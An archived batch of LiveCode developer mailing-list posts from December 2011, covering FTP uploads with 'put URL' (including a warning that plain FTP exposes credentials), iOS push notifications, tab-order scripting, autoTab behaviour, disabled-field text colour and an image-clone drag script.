http://runtime-revolution.278305.n4.nabble.com/Confirming-an-FTP-Upload-tp4164699p4165561.html Sent from the Revolution - User mailing list archive at Nabble.com. From keith.clarke at clarkeandclarke.co.uk Tue Dec 6 12:13:49 2011 From: keith.clarke at clarkeandclarke.co.uk (Keith Clarke) Date: Tue, 6 Dec 2011 17:13:49 +0000 Subject: Are iOS push notifications needed for this use case? In-Reply-To: <3F677924-1502-40CB-8CE0-A1873DFBC222@mac.com> References: <1AFE836C-F46B-4F27-B686-F4837040AF1E@clarkeandclarke.co.uk> <3F677924-1502-40CB-8CE0-A1873DFBC222@mac.com> Message-ID: Thanks for the confirmation that it's push notifications I need, Tom. Before I put LiveCode on ice as a platform for iOS apps (as I've already had to for web apps), are there any examples of these third-party solutions that play nicely with LC? Best, Keith.. On 6 Dec 2011, at 14:40, Thomas McGrath III wrote: > Keith, > > As of this moment RunRev has not implemented the push notification APIs for iOS into LiveCode. There are third party solutions outside of LC. I also have a vital need for Push Notification. > > > -- Tom McGrath III > http://lazyriver.on-rev.com > 3mcgrath at comcast.net > > On Dec 6, 2011, at 5:36 AM, Keith Clarke wrote: > >> Hi folks, >> I'm considering LiveCode for an iOS app but I think I need push notification support. >> >> The use case is to alert users of app-specific messages waiting (even when the application is not active) and set the little 'messages waiting' counter on the app's icon. I'm looking for on-device behaviour much like with the Mail app. >> >> Is this use case supportable with LiveCode as-is or do I need to look elsewhere unless/until RunRev implement support for push notifications? >> Best, >> Keith.. >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From stephenREVOLUTION2 at barncard.com Tue Dec 6 13:09:32 2011 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Tue, 6 Dec 2011 10:09:32 -0800 Subject: Confirming an FTP Upload In-Reply-To: <1323191251938-4165561.post@n4.nabble.com> References: <097C24E9-8DE2-40E5-B261-35AC63609A01@videotron.ca> <1323191251938-4165561.post@n4.nabble.com> Message-ID: You should know that the password and username are sent as plain text and can be easily sniffed. This is NOT secure FTP and can expose an entire account. Create a special FTP space for this purpose, not your website. Secure FTP is a long-awaited feature that is still not available in livecode except with externals. sqb On 6 December 2011 09:07, AcidJazz wrote: > Greg, > Here's how I submit data using the Put URL approach... > > > *put *DataToBeSaved into URL > ("ftp://username:password at ftp.sitename.com/filename.txt") > *If* the result is not empty *then* > hide field "wait" > answer the result &CR& "Oops! There was a problem saving your > response. Please wait a minute and try again." > *exit* mouseup > *end* if > > > You can also read back the data that you just saved... > > *get *URL ("http://www.sitename.com/filename.txt") > *put *it into tData > *answer *"Your data has been stored on the server and then retrieved." & > CR & "It looks like this:" &CR&CR& the last line of tData > > > > > Cheers, > Mark > > -- > View this message in context: > http://runtime-revolution.278305.n4.nabble.com/Confirming-an-FTP-Upload-tp4164699p4165561.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From gregory.lypny at videotron.ca Tue Dec 6 13:13:10 2011 From: gregory.lypny at videotron.ca (Gregory Lypny) Date: Tue, 06 Dec 2011 13:13:10 -0500 Subject: Confirming an FTP Upload In-Reply-To: References: Message-ID: Hi Mark, Much appreciated! Just the kind of thing I was looking for. Regards, Gregory On Tue, Dec 6, 2011, at 1:00 PM, use-livecode-request at lists.runrev.com wrote: > Greg, > Here's how I submit data using the Put URL approach... From mpezzo at gmail.com Tue Dec 6 13:28:41 2011 From: mpezzo at gmail.com (AcidJazz) Date: Tue, 6 Dec 2011 10:28:41 -0800 (PST) Subject: Confirming an FTP Upload In-Reply-To: References: <097C24E9-8DE2-40E5-B261-35AC63609A01@videotron.ca> <1323191251938-4165561.post@n4.nabble.com> Message-ID: <1323196121612-4165852.post@n4.nabble.com> Stephen, That's true, and I probably should have mentioned that. For my purposes, it's irrelevant, because my research data (indeed the entire "site") is all just a bunch of meaningless numbers that nobody would have any interest in. But for the rest of you out in the real world, caveat emptor. By the way, to actually send a file, you might try this: on mouseUp answer file "Please choose a file to get:" get URL ("file:" & it) put it into URL ("address goes here") if the result is not empty then answer "oops" exit mouseup end if end mouseUp -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Confirming-an-FTP-Upload-tp4164699p4165852.html Sent from the Revolution - User mailing list archive at Nabble.com. From bobs at twft.com Tue Dec 6 13:29:03 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 6 Dec 2011 10:29:03 -0800 Subject: Tab Order Property? Message-ID: Hi all. Is there some kind of hidden property pertaining to the tab order of objects on a card? I know about the layer property, but I was hoping there was some kind of list, so I could set the tab order of fields by entering a repeat loop and clicking on objects, building a list of them, then moving the objects in the list to the bottom in the order clicked, effectively setting their tab order. Has anyone developed a method for doing this? Bob From mpezzo at gmail.com Tue Dec 6 13:30:13 2011 From: mpezzo at gmail.com (AcidJazz) Date: Tue, 6 Dec 2011 10:30:13 -0800 (PST) Subject: Confirming an FTP Upload In-Reply-To: <1323196121612-4165852.post@n4.nabble.com> References: <097C24E9-8DE2-40E5-B261-35AC63609A01@videotron.ca> <1323191251938-4165561.post@n4.nabble.com> <1323196121612-4165852.post@n4.nabble.com> Message-ID: <1323196213252-4165858.post@n4.nabble.com> Actually, Stephen, could you elaborate on the "special ftp space" that is not the website. I'm a little unclear on the distinction. Mark -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Confirming-an-FTP-Upload-tp4164699p4165858.html Sent from the Revolution - User mailing list archive at Nabble.com. From benr_mc at cogapp.com Tue Dec 6 13:20:55 2011 From: benr_mc at cogapp.com (Ben Rubinstein) Date: Tue, 06 Dec 2011 18:20:55 +0000 Subject: Last chance to tell (a small part of) the world about your Android and iOS apps In-Reply-To: <221B629B-38FB-4193-A18F-AD6504207F64@economy-x-talk.com> References: <4EDE2DB8.10602@cogapp.com> <221B629B-38FB-4193-A18F-AD6504207F64@economy-x-talk.com> Message-ID: <4EDE5D07.1070202@cogapp.com> On 06/12/2011 15:26, Mark Schonewille wrote: > What exactly will you do with the data, besides publishing the results on this list? *Short answer* That's exactly it - publish it. *Longer answer* And I guess ponder it a bit. And look at some of the apps. But I hope other people will do those things too. When asking the question "what can you achieve with the current state of LiveCode for mobile?" these published apps represent real data points - they may not show everything that can be achieved, they may not show how much pain and sweat was required; but they represent some indisputable evidence to put alongside the documentation. *Even longer answer* To be very explicit: my company have put something over a dozen apps into the iOS store (mostly for clients, not under our own name). None of those were built with LiveCode, they're all in Objective-C (with our own framework that we've invested heavily in). Some are trivial, but some are really substantial commercial projects, for clients with a massive reputation to defend. We've used LiveCode for prototyping elements of some of these; and for a commissioned proof of concept for a client, that was never intended for publishing; but never for anything that went beyond that. We're getting (some, not many) requests for projects to be delivered on both iOS and Android; it's going to be expensive to port our framework to Android. We're interested in whether to use LiveCode for a complete app project; but nervous about whether (a) the fit and finish will be adequate, compared with a project in native code where we can always access the native controls; (b) about hitting a roadblock or serious bug, which we can't get past because we can't go to native code. To date these fears (along with other issues) have stopped us deciding to commit to LiveCode for any projects, even when with a following wind doing so should allow us to build the app a lot cheaper; and in some cases have led to us turning down a project that would be possible within the constraints only by using LiveCode; because once we commit to the client that we'll produce an app, in a given timeframe, we want to be in control of our own destiny in terms of being able to meet that commitment. To defend our own reputation, we'd rather turn down the work than take it on and find that we can't deliver. In this respect, being able to look at apps that others have successfully completed may help alleviate some of those fears. So I want to see some apps that other people have created using LiveCode; I can't find a list anywhere; so I decided to try compiling one. Ben From pete at mollysrevenge.com Tue Dec 6 13:45:23 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 6 Dec 2011 10:45:23 -0800 Subject: Tab Order Property? In-Reply-To: References: Message-ID: The text property holds the tab names, one per line, in left to right order. One thing I've found useful when chasing down property names is to set the Preferences option to display property names instead of labels in the Inspector dialogs. On Tue, Dec 6, 2011 at 10:29 AM, Bob Sneidar wrote: > Hi all. > > Is there some kind of hidden property pertaining to the tab order of > objects on a card? I know about the layer property, but I was hoping there > was some kind of list, so I could set the tab order of fields by entering a > repeat loop and clicking on objects, building a list of them, then moving > the objects in the list to the bottom in the order clicked, effectively > setting their tab order. > > Has anyone developed a method for doing this? > > Bob > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From bobs at twft.com Tue Dec 6 13:46:34 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 6 Dec 2011 10:46:34 -0800 Subject: Tab Order Property? Message-ID: Belay my last. Pretty simple: on clickOrder put the selectedobjects into theObjectList repeat for each line theObject in theObjectList set the layer of theObject to top end repeat end clickOrder > Hi all. > > Is there some kind of hidden property pertaining to the tab order of objects on a card? I know about the layer property, but I was hoping there was some kind of list, so I could set the tab order of fields by entering a repeat loop and clicking on objects, building a list of them, then moving the objects in the list to the bottom in the order clicked, effectively setting their tab order. > > Has anyone developed a method for doing this? > > Bob From bobs at twft.com Tue Dec 6 13:51:58 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 6 Dec 2011 10:51:58 -0800 Subject: Tab Order Property? In-Reply-To: References: Message-ID: <2DB9260F-FB50-4DC1-A643-46DE9FF1015E@twft.com> Sorry Pete I should have explained myself a bit better. I don't meat a tab panel. I mean the order in which fields get the focus when a user is tabbing through them. I found a really simple solution. See my prior post. Bob On Dec 6, 2011, at 10:45 AM, Pete wrote: > The text property holds the tab names, one per line, in left to right > order. One thing I've found useful when chasing down property names is to > set the Preferences option to display property names instead of labels in > the Inspector dialogs. > > On Tue, Dec 6, 2011 at 10:29 AM, Bob Sneidar wrote: > >> Hi all. >> >> Is there some kind of hidden property pertaining to the tab order of >> objects on a card? From bobs at twft.com Tue Dec 6 14:04:20 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 6 Dec 2011 11:04:20 -0800 Subject: autoTab affects automatic text selection? Message-ID: <15536FF2-1DFF-4466-A515-522E6C917C60@twft.com> Hi all. I've discovered a useful, if odd anomaly. If I have a field with autoTab set to true, tabbing to it will auto select the text it contains (the desired behavior). But if autoTab is set to false, the text will NOT be auto selected, although I CAN select it manually. Is this the intended behavior? It's useful for sure, but I wouldn't have guessed that autoTab would effect text selection. I checked the help on autoTab and nothing is noted in the documentation about it, so I posted a user note. Bob From stephenREVOLUTION2 at barncard.com Tue Dec 6 14:11:27 2011 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Tue, 6 Dec 2011 11:11:27 -0800 Subject: Confirming an FTP Upload In-Reply-To: <1323196213252-4165858.post@n4.nabble.com> References: <097C24E9-8DE2-40E5-B261-35AC63609A01@videotron.ca> <1323191251938-4165561.post@n4.nabble.com> <1323196121612-4165852.post@n4.nabble.com> <1323196213252-4165858.post@n4.nabble.com> Message-ID: Just a method to get the uploads (and exposed password/user) to a place that isn't your public website. Most web providers will allow unlimited or many FTP accounts, and you can use completely different user/passwords. Some providers (not On-Rev) will allow an account to have multiple users that can own websites and/or ftp sites. Then I give that site a sub-domain name and use that for uploads. There are also ways to do uploads safely that involve using server-side PHP or Livecode solutions which have been discussed here before. Many examples abound for that. On 6 December 2011 10:30, AcidJazz wrote: > Actually, Stephen, could you elaborate on the "special ftp space" that is > not > the website. I'm a little unclear on the distinction. > > Mark > > -- > View this message in context: > http://runtime-revolution.278305.n4.nabble.com/Confirming-an-FTP-Upload-tp4164699p4165858.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From bleiler at buffalo.edu Tue Dec 6 14:34:56 2011 From: bleiler at buffalo.edu (Timothy Bleiler) Date: Tue, 6 Dec 2011 14:34:56 -0500 Subject: Put into url Not working on Android In-Reply-To: <15536FF2-1DFF-4466-A515-522E6C917C60@twft.com> References: <15536FF2-1DFF-4466-A515-522E6C917C60@twft.com> Message-ID: <1F655A33-CFC5-4F80-8638-134BBE28E7BB@buffalo.edu> Hi, I'm trying to do some work on Android. Does anyone know why the following command would work fine from the desktop but not work in Android? . FYI, in this example it is a fake address. put "Test content goes here" into url ?ftp://123.456.78.901/ftptest.txt? Specifically has anyone had success with "Put into URL" on Android? If so, could you share the syntax or other hints? I am able to access web sites using the GET command from the Andriod device but this FTP Put does not work from the emulator or actual Android devicesThe straightforward example found in the Android release notes is definitely not working for me. I've also tried several combinations of urlEncode, user names, passwords and an anonymous site with no luck. Thanks, Tim Bleiler, Ph.D. Instructional Designer, HSIT University at Buffalo From katir at hindu.org Tue Dec 6 14:36:10 2011 From: katir at hindu.org (Web Admin Himalayan Academy) Date: Tue, 06 Dec 2011 09:36:10 -1000 Subject: Image Cropping Tool for Livecode In-Reply-To: <4EDC3C63.70005@hyperactivesw.com> References: <4EDC27EC.5060109@hindu.org> <4EDC3C63.70005@hyperactivesw.com> Message-ID: <4EDE6EAA.2050905@hindu.org> On 12/4/11 8:09 PM, Sivakatirswami wrote: >> As anyone created a image cropping tool for LiveCode? > On 12/4/11 5:37 PM, J. Landman Gay wrote: > If you hold down the command key while resizing an image, it gets > cropped to the new size. There's no warning, it just happens. Yes, I am familiar with this option, but it has the very problem that Richard points out: it is destructive. Yes, of course we can, as Bjoerkne points out, have an undo... but this again is not useful. If you have a piece of portrait art/photo that you want to crop out a rectangular section for using in a horizontal ratio slideshow, you are making aesthetic "guesses" before the final crop and need the able to drag out the area, make it bigger, move it etc. It's a problem if the actual image data is being "wiped out" as you drag into the image, you want to be able to drag back out and get back your pixels. But as we know, those pixels are gone. It would force the user to undo the entire crop on every attempt to view a cropping option. Way too user unfriendly. i.e. you don't want your crop frame-rect-select tool to be actually wiping out pixels until you click "OK" or "Crop" or "Do it!" From mwieder at ahsoftware.net Tue Dec 6 15:09:39 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 6 Dec 2011 20:09:39 +0000 (UTC) Subject: Tab Order Property? References: Message-ID: Bob Sneidar writes: > > Belay my last. Pretty simple: > > on clickOrder > put the selectedobjects into theObjectList > repeat for each line theObject in theObjectList > set the layer of theObject to top > end repeat > end clickOrder Depending on the number of theObjects you have, you may want to lock the screen first - changing the layer of an object affects the visible layering. Also, there may well be times when the tab order you desire doesn't necessarily match the visible ordering of objects on the screen - you may want to have other non-tabbable objects interspersed with them, or you might want to have other objects on top of them layerwise (ok - that's not a word, but you get the idea). I do think a tab-order property is a useful thing to add in addition to the layer hierarchy. From bobs at twft.com Tue Dec 6 15:11:55 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 6 Dec 2011 12:11:55 -0800 Subject: Set the color of text for a disabled field Message-ID: Hi all. Any way to set the color of the text in a disabled field? It's gray by default, but I cannot find anything in the help about how to set the disabled color. It would be nice to set it to blue or some darker shade of gray, as it is hard on the eyes the way it is. Bob From bobs at twft.com Tue Dec 6 15:28:51 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 6 Dec 2011 12:28:51 -0800 Subject: Tab Order Property? In-Reply-To: References: Message-ID: <0A86A2DA-C5E7-4A9B-94EB-1D71ABFF03C8@twft.com> Good points. But the selectedObjects will contain a list of objects in the order they were selected (very dammed handy), not in the order they appear on the screen, nor the order they were in before calling the command. So by selecting objects in the order you want them to be, calling this command will order them properly, and at the topmost layer, preventing me from burying them behind other objects. Also I discovered a bit of a flaw in my code. If I click on a field that is a part of a group then I will likely throw an error, because you cannot set a fields layer to something higher than the layer of the highest layered object in the group. In other words, you have to change the layer of the entire group, not just the field itself. Hence the following update: on clickOrder put the selectedobjects into theObjectList repeat for each line theObject in theObjectList if "of group" is in theObject then put wordoffset("group", theObject) into firstWord put word firstWord to -1 of theObject into theNewObject set the layer of theNewObject to top else set the layer of theObject to top end if end repeat end clickOrder On Dec 6, 2011, at 12:09 PM, Mark Wieder wrote: > Bob Sneidar writes: > >> >> Belay my last. Pretty simple: >> >> on clickOrder >> put the selectedobjects into theObjectList >> repeat for each line theObject in theObjectList >> set the layer of theObject to top >> end repeat >> end clickOrder > > Depending on the number of theObjects you have, you may want to lock the screen > first - changing the layer of an object affects the visible layering. > > Also, there may well be times when the tab order you desire doesn't necessarily > match the visible ordering of objects on the screen - you may want to have other > non-tabbable objects interspersed with them, or you might want to have other > objects on top of them layerwise (ok - that's not a word, but you get the idea). > I do think a tab-order property is a useful thing to add in addition to the > layer hierarchy. > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From stephenREVOLUTION2 at barncard.com Tue Dec 6 15:30:40 2011 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Tue, 6 Dec 2011 12:30:40 -0800 Subject: Set the color of text for a disabled field In-Reply-To: References: Message-ID: I am guessing that one can't - that it's determined by the host machines' os. However, why not turn the problem around - prevent text entry, then change the bg color of the field. make a handler (setprop, getprop) in the field to handle the fake states. set the defaultState of fld x to true etc sqb On 6 December 2011 12:11, Bob Sneidar wrote: > Hi all. > > Any way to set the color of the text in a disabled field? It's gray by > default, but I cannot find anything in the help about how to set the > disabled color. It would be nice to set it to blue or some darker shade of > gray, as it is hard on the eyes the way it is. > > Bob > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From pete at mollysrevenge.com Tue Dec 6 17:02:53 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 6 Dec 2011 14:02:53 -0800 Subject: autoTab affects automatic text selection? In-Reply-To: <15536FF2-1DFF-4466-A515-522E6C917C60@twft.com> References: <15536FF2-1DFF-4466-A515-522E6C917C60@twft.com> Message-ID: Yes, there's no clue in the docs about using autoTab for this purpose. I guess the question then becomes - is this the way it is supposed to work or is it a bug that will be fixed at some point? I would like to use this feature/bug but not if I have to go back and change a bunch of fields at some point in the future when it changes! On Tue, Dec 6, 2011 at 11:04 AM, Bob Sneidar wrote: > Hi all. > > I've discovered a useful, if odd anomaly. If I have a field with autoTab > set to true, tabbing to it will auto select the text it contains (the > desired behavior). But if autoTab is set to false, the text will NOT be > auto selected, although I CAN select it manually. Is this the intended > behavior? It's useful for sure, but I wouldn't have guessed that autoTab > would effect text selection. I checked the help on autoTab and nothing is > noted in the documentation about it, so I posted a user note. > > Bob > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From bobs at twft.com Tue Dec 6 17:03:09 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 6 Dec 2011 14:03:09 -0800 Subject: Set the color of text for a disabled field In-Reply-To: References: Message-ID: Thanks Stephen. I was hoping for something simple that I overlooked. If anyone complains I will address it then. Too much work for too little gain. Bob On Dec 6, 2011, at 12:30 PM, stephen barncard wrote: > I am guessing that one can't - that it's determined by the host machines' > os. > > However, why not turn the problem around - prevent text entry, then change > the bg color of the field. > > make a handler (setprop, getprop) in the field to handle the fake states. > > set the defaultState of fld x to true > > etc > > sqb > > On 6 December 2011 12:11, Bob Sneidar wrote: > >> Hi all. >> >> Any way to set the color of the text in a disabled field? It's gray by >> default, but I cannot find anything in the help about how to set the >> disabled color. It would be nice to set it to blue or some darker shade of >> gray, as it is hard on the eyes the way it is. >> >> Bob >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > > > -- > > > > Stephen Barncard > San Francisco Ca. USA > > more about sqb > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dunbarx at aol.com Tue Dec 6 17:09:33 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Tue, 6 Dec 2011 17:09:33 -0500 (EST) Subject: Set the color of text for a disabled field In-Reply-To: References: Message-ID: <8CE827ADE5D1B5A-1FE0-22B16@webmail-d172.sysops.aol.com> If you set the foregroundColor of text, that color persists after disabling. Is this what you meant? Craig Newman -----Original Message----- From: Bob Sneidar To: How to use LiveCode Sent: Tue, Dec 6, 2011 10:13 am Subject: Set the color of text for a disabled field Hi all. Any way to set the color of the text in a disabled field? It's gray by default, but I cannot find anything in the help about how to set the disabled color. It would be nice to set it to blue or some darker shade of gray, as it is hard on the eyes the way it is. Bob _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From niconiko at gmail.com Tue Dec 6 17:12:11 2011 From: niconiko at gmail.com (Nicolas Cueto) Date: Wed, 7 Dec 2011 07:12:11 +0900 Subject: clone problem Message-ID: Hell All, I have a script that does not always work as expected. >From the student's point of the view, the script allows them to click and drag an alphabet letter for release onto a writing area. That way, there's two images visible : the image they clicked on originally apparently at its original location, and the new image apparently now in the new location. The problem visually is that it seems like the original image becomes draggable, and the cloned image gets left behind. What the script is actually doing in the background is on mouseDown the original image is cloned, the clone gets the original image's name, and the original image gets a new name. Similarly, their layering is switched too. That was the only way I could think of to allow an image to become draggable and cloned at the same time, i.e., without mouseUp Also, instead of mouseDown, I'm using AnimationEngine's constrainRectangularInit. The problem with my script is that sometimes the image that's supposed to stay in place becomes the image that's supposed to be draggable. I assume the problem happens in the renaming my script does. Here is the actual script: on constrainRectangularInit deleteClonedHilites -- deletes unneeded graphic objects put the short name of me into tGrabbedImg if "_" is not among the chars of tGrabbedImg then ## the char "_" is added by my script when renaming clone invisible image tGrabbedImg put word 3 of it into tNewImgID put tGrabbedImg & "_" & the milliseconds into tNewImgName set the name of me to tNewImgName put the cpCloned_Letters of this card into tTemp put tNewImgName & cr after tTemp set the cpCloned_Letters of this card to tTemp set the name of image id tNewImgID to tGrabbedImg set the loc of image id tNewImgID to the loc of me set the layer of image id tNewImgID to the layer of me show image id tNewImgID end if set the layer of me to top put item 1 of the clickLoc into sX put the milliseconds into sLastTime put true into sMove play "letter_pickup.au" end constrainRectangularInit If anyone understands and can help, I'd much appreciate it. Thank you. From jacque at hyperactivesw.com Tue Dec 6 17:49:30 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 06 Dec 2011 16:49:30 -0600 Subject: autoTab affects automatic text selection? In-Reply-To: References: <15536FF2-1DFF-4466-A515-522E6C917C60@twft.com> Message-ID: <4EDE9BFA.4010104@hyperactivesw.com> On 12/6/11 4:02 PM, Pete wrote: > Yes, there's no clue in the docs about using autoTab for this purpose. I > guess the question then becomes - is this the way it is supposed to work or > is it a bug that will be fixed at some point? I would like to use this > feature/bug but not if I have to go back and change a bunch of fields at > some point in the future when it changes! Autotab has always used the layering number to determine the next field, so you can use that with confidence. It's not a bug, it is designed behavior. It should be mentioned in the User Guide (too lazy to look.) -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From bobs at twft.com Tue Dec 6 18:03:31 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 6 Dec 2011 15:03:31 -0800 Subject: Set the color of text for a disabled field In-Reply-To: <8CE827ADE5D1B5A-1FE0-22B16@webmail-d172.sysops.aol.com> References: <8CE827ADE5D1B5A-1FE0-22B16@webmail-d172.sysops.aol.com> Message-ID: <7D2C5FFD-9EF3-482E-B924-AD8B1CCFF942@twft.com> ooooohhh yes! Bob On Dec 6, 2011, at 2:09 PM, DunbarX at aol.com wrote: > If you set the foregroundColor of text, that color persists after disabling. > > > Is this what you meant? > > > Craig Newman > > > > -----Original Message----- > From: Bob Sneidar > To: How to use LiveCode > Sent: Tue, Dec 6, 2011 10:13 am > Subject: Set the color of text for a disabled field > > > Hi all. > > Any way to set the color of the text in a disabled field? It's gray by default, > but I cannot find anything in the help about how to set the disabled color. It > would be nice to set it to blue or some darker shade of gray, as it is hard on > the eyes the way it is. > > Bob > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Tue Dec 6 18:08:14 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 6 Dec 2011 15:08:14 -0800 Subject: autoTab affects automatic text selection? In-Reply-To: <4EDE9BFA.4010104@hyperactivesw.com> References: <15536FF2-1DFF-4466-A515-522E6C917C60@twft.com> <4EDE9BFA.4010104@hyperactivesw.com> Message-ID: <08DBCB65-77D4-4AD6-9BD0-EBA69BBA7DC8@twft.com> Aye but we were talking about the fact that text will either be entirely selected or else the cursor will be placed at the beginning of the text, depending on the setting of autoTab. Apparently it controls more than just tabbing to the next field if a user hits return. It's actually way cooler than trying to kludge a way for text to be selected yourself, if that is what you want. Bob On Dec 6, 2011, at 2:49 PM, J. Landman Gay wrote: > Autotab has always used the layering number to determine the next field, so you can use that with confidence. It's not a bug, it is designed behavior. It should be mentioned in the User Guide (too lazy to look.) From jacque at hyperactivesw.com Tue Dec 6 22:09:19 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 06 Dec 2011 21:09:19 -0600 Subject: autoTab affects automatic text selection? In-Reply-To: <08DBCB65-77D4-4AD6-9BD0-EBA69BBA7DC8@twft.com> References: <15536FF2-1DFF-4466-A515-522E6C917C60@twft.com> <4EDE9BFA.4010104@hyperactivesw.com> <08DBCB65-77D4-4AD6-9BD0-EBA69BBA7DC8@twft.com> Message-ID: <4EDED8DF.2050905@hyperactivesw.com> On 12/6/11 5:08 PM, Bob Sneidar wrote: > Aye but we were talking about the fact that text will either be > entirely selected or else the cursor will be placed at the beginning > of the text, depending on the setting of autoTab. Apparently it > controls more than just tabbing to the next field if a user hits > return. It's actually way cooler than trying to kludge a way for text > to be selected yourself, if that is what you want. Sorry. Right. That behavior's been there forever too. In fact, it's thrown a few new users for a loop. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From mcgrath3 at mac.com Tue Dec 6 23:52:23 2011 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Tue, 06 Dec 2011 23:52:23 -0500 Subject: Are iOS push notifications needed for this use case? In-Reply-To: References: <1AFE836C-F46B-4F27-B686-F4837040AF1E@clarkeandclarke.co.uk> <3F677924-1502-40CB-8CE0-A1873DFBC222@mac.com> Message-ID: <23F7C2FA-931D-45F4-BDEF-B6C000B0C332@mac.com> Keith, The one that I am looking into is Urban Airship http://urbanairship.com/pricing/ but it is not free but does cover iOS Android and Blackberry? Basic Free is a pay per message version that I am looking into. THe API looks straight forward and might work with LC. HTHs -- Tom McGrath III http://lazyriver.on-rev.com 3mcgrath at comcast.net On Dec 6, 2011, at 12:13 PM, Keith Clarke wrote: > Thanks for the confirmation that it's push notifications I need, Tom. > > Before I put LiveCode on ice as a platform for iOS apps (as I've already had to for web apps), are there any examples of these third-party solutions that play nicely with LC? > Best, > Keith.. > > On 6 Dec 2011, at 14:40, Thomas McGrath III wrote: > >> Keith, >> >> As of this moment RunRev has not implemented the push notification APIs for iOS into LiveCode. There are third party solutions outside of LC. I also have a vital need for Push Notification. >> >> >> -- Tom McGrath III >> http://lazyriver.on-rev.com >> 3mcgrath at comcast.net >> >> On Dec 6, 2011, at 5:36 AM, Keith Clarke wrote: >> >>> Hi folks, >>> I'm considering LiveCode for an iOS app but I think I need push notification support. >>> >>> The use case is to alert users of app-specific messages waiting (even when the application is not active) and set the little 'messages waiting' counter on the app's icon. I'm looking for on-device behaviour much like with the Mail app. >>> >>> Is this use case supportable with LiveCode as-is or do I need to look elsewhere unless/until RunRev implement support for push notifications? >>> Best, >>> Keith.. >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mazzapaoloitaly at gmail.com Wed Dec 7 02:49:07 2011 From: mazzapaoloitaly at gmail.com (paolo mazza) Date: Wed, 7 Dec 2011 08:49:07 +0100 Subject: Mobile devices and barcodes In-Reply-To: <1323183548411-4164973.post@n4.nabble.com> References: <1323161462532-4163941.post@n4.nabble.com> <1323183548411-4164973.post@n4.nabble.com> Message-ID: Hi Nicolas, I went through the Sara's Stacks: BarcodeTester A very simple stack that reads data from a keyboard wedge barcode scanner. It allows you to check the raw data transmitted by the scanner as well as the ASCII data. Category: UtilityLast Updated: Wed, Apr 29, 2009 Barcodes A utility that 